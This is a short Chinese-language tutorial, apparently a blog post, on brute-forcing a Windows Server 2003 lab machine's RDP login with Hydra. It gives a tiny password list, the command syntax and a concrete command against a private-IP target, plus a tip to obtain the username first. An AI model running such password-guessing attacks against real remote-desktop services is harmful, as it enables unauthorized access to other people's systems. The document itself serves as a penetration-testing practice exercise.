Windows下hydra（海德拉/九头蛇）暴力猜解RDP的简单渗透实践

attscker machine：windows10

靶机：windoes server 2003

环境：网络可达 && mstsc开启

hydra字典：

123456
123admin
admin123
123Com（正确密码）

进入hydra目录，字典与hydar.exe同一目录文件夹。

爆破命令执行：

hydra -l [username/用户名] -P [字典文件名] [靶机ip] [协议名]

用户名已知，即：

  hydra -l  Administrator -P newPassword.txt 192.168.1.18 rdp

结果如图：

*至少获取正确的用户名，提高破解效率。